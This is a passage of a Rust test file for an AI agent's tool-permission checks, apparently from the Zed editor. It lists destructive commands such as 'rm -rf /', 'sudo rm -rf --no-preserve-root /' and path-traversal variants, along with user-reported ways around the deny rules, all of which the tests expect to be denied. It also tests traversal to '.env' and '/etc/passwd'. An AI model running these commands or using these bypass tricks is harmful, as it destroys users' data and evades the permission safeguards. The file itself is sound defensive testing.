1983 t("rm -rf /tmp/../../").is_deny();
1984 t("rm -rf /tmp/../..").is_deny();
1985 t("rm -rf /var/log/../../").is_deny();
1986 // Root via /./
1987 t("rm -rf /./").is_deny();
1988 t("rm -rf /.").is_deny();
1989 // Double slash (equivalent to /)
1990 t("rm -rf //").is_deny();
1991 // Home traversal via ~/./
1992 t("rm -rf ~/./").is_deny();
1993 t("rm -rf ~/.").is_deny();
1994 // Dot traversal via indirect paths
1995 t("rm -rf ./foo/..").is_deny();
1996 t("rm -rf ../foo/..").is_deny();
1997 // Traversal in chained commands
1998 t("ls && rm -rf /tmp/../../").is_deny();
1999 t("echo hello; rm -rf /./").is_deny();
2000 // Traversal cannot be bypassed by global or allow patterns
2001 t("rm -rf /tmp/../../")
2002 .global_default(ToolPermissionMode::Allow)
2003 .is_deny();
2004 t("rm -rf /./").allow(&[".*"]).is_deny();
2005 // Safe paths with traversal should still be allowed
2006 t("rm -rf /tmp/../tmp/foo")
2007 .mode(ToolPermissionMode::Allow)
2008 .is_allow();
2009 t("rm -rf ~/Documents/./subdir")
2010 .mode(ToolPermissionMode::Allow)
2011 .is_allow();
2012 }
2013
2014 #[test]
2015 fn hardcoded_blocks_rm_multi_path_with_dangerous_last() {
2016 t("rm -rf /tmp /").is_deny();
2017 t("rm -rf /tmp/foo /").is_deny();
2018 t("rm -rf /var/log ~").is_deny();
2019 t("rm -rf /safe $HOME").is_deny();
2020 }
2021
2022 #[test]
2023 fn hardcoded_blocks_rm_multi_path_with_dangerous_first() {
2024 t("rm -rf / /tmp").is_deny();
2025 t("rm -rf ~ /var/log").is_deny();
2026 t("rm -rf . /tmp/foo").is_deny();
2027 t("rm -rf .. /safe").is_deny();
2028 }
2029
2030 #[test]
2031 fn hardcoded_allows_rm_multi_path_all_safe() {
2032 t("rm -rf /tmp /home/user")
2033 .mode(ToolPermissionMode::Allow)
2034 .is_allow();
2035 t("rm -rf ./build ./dist")
2036 .mode(ToolPermissionMode::Allow)
2037 .is_allow();
2038 t("rm -rf /var/log/app /tmp/cache")
2039 .mode(ToolPermissionMode::Allow)
2040 .is_allow();
2041 }
2042
2043 #[test]
2044 fn hardcoded_blocks_rm_multi_path_with_traversal() {
2045 t("rm -rf /safe /tmp/../../").is_deny();
2046 t("rm -rf /tmp/../../ /safe").is_deny();
2047 t("rm -rf /safe /var/log/../../").is_deny();
2048 }
2049
2050 #[test]
2051 fn hardcoded_blocks_user_reported_bypass_variants() {
2052 // User report: "rm -rf /etc/../" normalizes to "rm -rf /" via path traversal
2053 t("rm -rf /etc/../").is_deny();
2054 t("rm -rf /etc/..").is_deny();
2055 // User report: --no-preserve-root (without =value) should not bypass
2056 t("rm -rf --no-preserve-root /").is_deny();
2057 t("rm --no-preserve-root -rf /").is_deny();
2058 // User report: "rm -rf /*" should be caught (glob expands to all top-level entries)
2059 t("rm -rf /*").is_deny();
2060 // Chained with sudo
2061 t("sudo rm -rf /").is_deny();
2062 t("sudo rm -rf --no-preserve-root /").is_deny();
2063 // Traversal cannot be bypassed even with global allow or allow patterns
2064 t("rm -rf /etc/../")
2065 .global_default(ToolPermissionMode::Allow)
2066 .is_deny();
2067 t("rm -rf /etc/../").allow(&[".*"]).is_deny();
2068 t("rm -rf --no-preserve-root /")
2069 .global_default(ToolPermissionMode::Allow)
2070 .is_deny();
2071 t("rm -rf --no-preserve-root /").allow(&[".*"]).is_deny();
2072 }
2073
2074 #[test]
2075 fn normalize_path_relative_no_change() {
2076 assert_eq!(normalize_path("foo/bar"), "foo/bar");
2077 }
2078
2079 #[test]
2080 fn normalize_path_relative_with_curdir() {
2081 assert_eq!(normalize_path("foo/./bar"), "foo/bar");
2082 }
2083
2084 #[test]
2085 fn normalize_path_relative_with_parent() {
2086 assert_eq!(normalize_path("foo/bar/../baz"), "foo/baz");
2087 }
2088
2089 #[test]
2090 fn normalize_path_absolute_preserved() {
2091 assert_eq!(normalize_path("/etc/passwd"), "/etc/passwd");
2092 }
2093
2094 #[test]
2095 fn normalize_path_absolute_with_traversal() {
2096 assert_eq!(normalize_path("/tmp/../etc/passwd"), "/etc/passwd");
2097 }
2098
2099 #[test]
2100 fn normalize_path_root() {
2101 assert_eq!(normalize_path("/"), "/");
2102 }
2103
2104 #[test]
2105 fn normalize_path_parent_beyond_root_clamped() {
2106 assert_eq!(normalize_path("/../../../etc/passwd"), "/etc/passwd");
2107 }
2108
2109 #[test]
2110 fn normalize_path_curdir_only() {
2111 assert_eq!(normalize_path("."), "");
2112 }
2113
2114 #[test]
2115 fn normalize_path_empty() {
2116 assert_eq!(normalize_path(""), "");
2117 }
2118
2119 #[test]
2120 fn normalize_path_relative_traversal_above_start() {
2121 assert_eq!(normalize_path("../../../etc/passwd"), "../../../etc/passwd");
2122 }
2123
2124 #[test]
2125 fn normalize_path_relative_traversal_with_curdir() {
2126 assert_eq!(normalize_path("../../."), "../..");
2127 }
2128
2129 #[test]
2130 fn normalize_path_relative_partial_traversal_above_start() {
2131 assert_eq!(normalize_path("foo/../../bar"), "../bar");
2132 }
2133
2134 #[test]
2135 fn most_restrictive_deny_vs_allow() {
2136 assert!(matches!(
2137 most_restrictive(
2138 ToolPermissionDecision::Deny("x".into()),
2139 ToolPermissionDecision::Allow
2140 ),
2141 ToolPermissionDecision::Deny(_)
2142 ));
2143 }
2144
2145 #[test]
2146 fn most_restrictive_allow_vs_deny() {
2147 assert!(matches!(
2148 most_restrictive(
2149 ToolPermissionDecision::Allow,
2150 ToolPermissionDecision::Deny("x".into())
2151 ),
2152 ToolPermissionDecision::Deny(_)
2153 ));
2154 }
2155
2156 #[test]
2157 fn most_restrictive_deny_vs_confirm() {
2158 assert!(matches!(
2159 most_restrictive(
2160 ToolPermissionDecision::Deny("x".into()),
2161 ToolPermissionDecision::Confirm
2162 ),
2163 ToolPermissionDecision::Deny(_)
2164 ));
2165 }
2166
2167 #[test]
2168 fn most_restrictive_confirm_vs_deny() {
2169 assert!(matches!(
2170 most_restrictive(
2171 ToolPermissionDecision::Confirm,
2172 ToolPermissionDecision::Deny("x".into())
2173 ),
2174 ToolPermissionDecision::Deny(_)
2175 ));
2176 }
2177
2178 #[test]
2179 fn most_restrictive_deny_vs_deny() {
2180 assert!(matches!(
2181 most_restrictive(
2182 ToolPermissionDecision::Deny("a".into()),
2183 ToolPermissionDecision::Deny("b".into())
2184 ),
2185 ToolPermissionDecision::Deny(_)
2186 ));
2187 }
2188
2189 #[test]
2190 fn most_restrictive_confirm_vs_allow() {
2191 assert_eq!(
2192 most_restrictive(
2193 ToolPermissionDecision::Confirm,
2194 ToolPermissionDecision::Allow
2195 ),
2196 ToolPermissionDecision::Confirm
2197 );
2198 }
2199
2200 #[test]
2201 fn most_restrictive_allow_vs_confirm() {
2202 assert_eq!(
2203 most_restrictive(
2204 ToolPermissionDecision::Allow,
2205 ToolPermissionDecision::Confirm
2206 ),
2207 ToolPermissionDecision::Confirm
2208 );
2209 }
2210
2211 #[test]
2212 fn most_restrictive_allow_vs_allow() {
2213 assert_eq!(
2214 most_restrictive(ToolPermissionDecision::Allow, ToolPermissionDecision::Allow),
2215 ToolPermissionDecision::Allow
2216 );
2217 }
2218
2219 #[test]
2220 fn decide_permission_for_path_no_dots_early_return() {
2221 // When the path has no `.` or `..`, normalize_path returns the same string,
2222 // so decide_permission_for_path returns the raw decision directly.
2223 let settings = test_agent_settings(ToolPermissions {
2224 default: ToolPermissionMode::Confirm,
2225 tools: Default::default(),
2226 });
2227 let decision = decide_permission_for_path(EditFileTool::NAME, "src/main.rs", &settings);
2228 assert_eq!(decision, ToolPermissionDecision::Confirm);
2229 }
2230
2231 #[test]
2232 fn decide_permission_for_path_traversal_triggers_deny() {
2233 let deny_regex = CompiledRegex::new("/etc/passwd", false).unwrap();
2234 let mut tools = collections::HashMap::default();
2235 tools.insert(
2236 Arc::from(EditFileTool::NAME),
2237 ToolRules {
2238 default: Some(ToolPermissionMode::Allow),
2239 always_allow: vec![],
2240 always_deny: vec![deny_regex],
2241 always_confirm: vec![],
2242 invalid_patterns: vec![],
2243 },
2244 );
2245 let settings = test_agent_settings(ToolPermissions {
2246 default: ToolPermissionMode::Confirm,
2247 tools,
2248 });
2249
2250 let decision =
2251 decide_permission_for_path(EditFileTool::NAME, "/tmp/../etc/passwd", &settings);
2252 assert!(
2253 matches!(decision, ToolPermissionDecision::Deny(_)),
2254 "expected Deny for traversal to /etc/passwd, got {:?}",
2255 decision
2256 );
2257 }
2258
2259 #[test]
2260 fn normalize_path_collapses_dot_segments() {
2261 assert_eq!(
2262 normalize_path("src/../.zed/settings.json"),
2263 ".zed/settings.json"
2264 );
2265 assert_eq!(normalize_path("a/b/../c"), "a/c");
2266 assert_eq!(normalize_path("a/./b/c"), "a/b/c");
2267 assert_eq!(normalize_path("a/b/./c/../d"), "a/b/d");
2268 assert_eq!(normalize_path(".zed/settings.json"), ".zed/settings.json");
2269 assert_eq!(normalize_path("a/b/c"), "a/b/c");
2270 }
2271
2272 #[test]
2273 fn normalize_path_handles_multiple_parent_dirs() {
2274 assert_eq!(normalize_path("a/b/c/../../d"), "a/d");
2275 assert_eq!(normalize_path("a/b/c/../../../d"), "d");
2276 }
2277
2278 fn path_perm(
2279 tool: &str,
2280 input: &str,
2281 deny: &[&str],
2282 allow: &[&str],
2283 confirm: &[&str],
2284 ) -> ToolPermissionDecision {
2285 let mut tools = collections::HashMap::default();
2286 tools.insert(
2287 Arc::from(tool),
2288 ToolRules {
2289 default: None,
2290 always_allow: allow
2291 .iter()
2292 .map(|p| {
2293 CompiledRegex::new(p, false)
2294 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2295 })
2296 .collect(),
2297 always_deny: deny
2298 .iter()
2299 .map(|p| {
2300 CompiledRegex::new(p, false)
2301 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2302 })
2303 .collect(),
2304 always_confirm: confirm
2305 .iter()
2306 .map(|p| {
2307 CompiledRegex::new(p, false)
2308 .unwrap_or_else(|| panic!("invalid regex: {p:?}"))
2309 })
2310 .collect(),
2311 invalid_patterns: vec![],
2312 },
2313 );
2314 let permissions = ToolPermissions {
2315 default: ToolPermissionMode::Confirm,
2316 tools,
2317 };
2318 let raw_decision = ToolPermissionDecision::from_input(
2319 tool,
2320 &[input.to_string()],
2321 &permissions,
2322 ShellKind::Posix,
2323 );
2324
2325 let simplified = normalize_path(input);
2326 if simplified == input {
2327 return raw_decision;
2328 }
2329
2330 let simplified_decision =
2331 ToolPermissionDecision::from_input(tool, &[simplified], &permissions, ShellKind::Posix);
2332
2333 most_restrictive(raw_decision, simplified_decision)
2334 }
2335
2336 #[test]
2337 fn decide_permission_for_path_denies_traversal_to_denied_dir() {
2338 let decision = path_perm(
2339 "copy_path",
2340 "src/../.zed/settings.json",
2341 &["^\\.zed/"],
2342 &[],
2343 &[],
2344 );
2345 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2346 }
2347
2348 #[test]
2349 fn decide_permission_for_path_confirms_traversal_to_confirmed_dir() {
2350 let decision = path_perm(
2351 "copy_path",
2352 "src/../.zed/settings.json",
2353 &[],
2354 &[],
2355 &["^\\.zed/"],
2356 );
2357 assert!(matches!(decision, ToolPermissionDecision::Confirm));
2358 }
2359
2360 #[test]
2361 fn decide_permission_for_path_allows_when_no_traversal_issue() {
2362 let decision = path_perm("copy_path", "src/main.rs", &[], &["^src/"], &[]);
2363 assert!(matches!(decision, ToolPermissionDecision::Allow));
2364 }
2365
2366 #[test]
2367 fn decide_permission_for_path_most_restrictive_wins() {
2368 let decision = path_perm(
2369 "copy_path",
2370 "allowed/../.zed/settings.json",
2371 &["^\\.zed/"],
2372 &["^allowed/"],
2373 &[],
2374 );
2375 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2376 }
2377
2378 #[test]
2379 fn decide_permission_for_path_dot_segment_only() {
2380 let decision = path_perm(
2381 "delete_path",
2382 "./.zed/settings.json",
2383 &["^\\.zed/"],
2384 &[],
2385 &[],
2386 );
2387 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2388 }
2389
2390 #[test]
2391 fn decide_permission_for_path_no_change_when_already_simple() {
2392 // When path has no `.` or `..` segments, behavior matches decide_permission_from_settings
2393 let decision = path_perm("copy_path", ".zed/settings.json", &["^\\.zed/"], &[], &[]);
2394 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2395 }
2396
2397 #[test]
2398 fn decide_permission_for_path_raw_deny_still_works() {
2399 // Even without traversal, if the raw path itself matches deny, it's denied
2400 let decision = path_perm("copy_path", "secret/file.txt", &["^secret/"], &[], &[]);
2401 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2402 }
2403
2404 #[test]
2405 fn decide_permission_for_path_denies_edit_file_traversal_to_dotenv() {
2406 let decision = path_perm(EditFileTool::NAME, "src/../.env", &["^\\.env"], &[], &[]);
2407 assert!(matches!(decision, ToolPermissionDecision::Deny(_)));
2408 }
2409}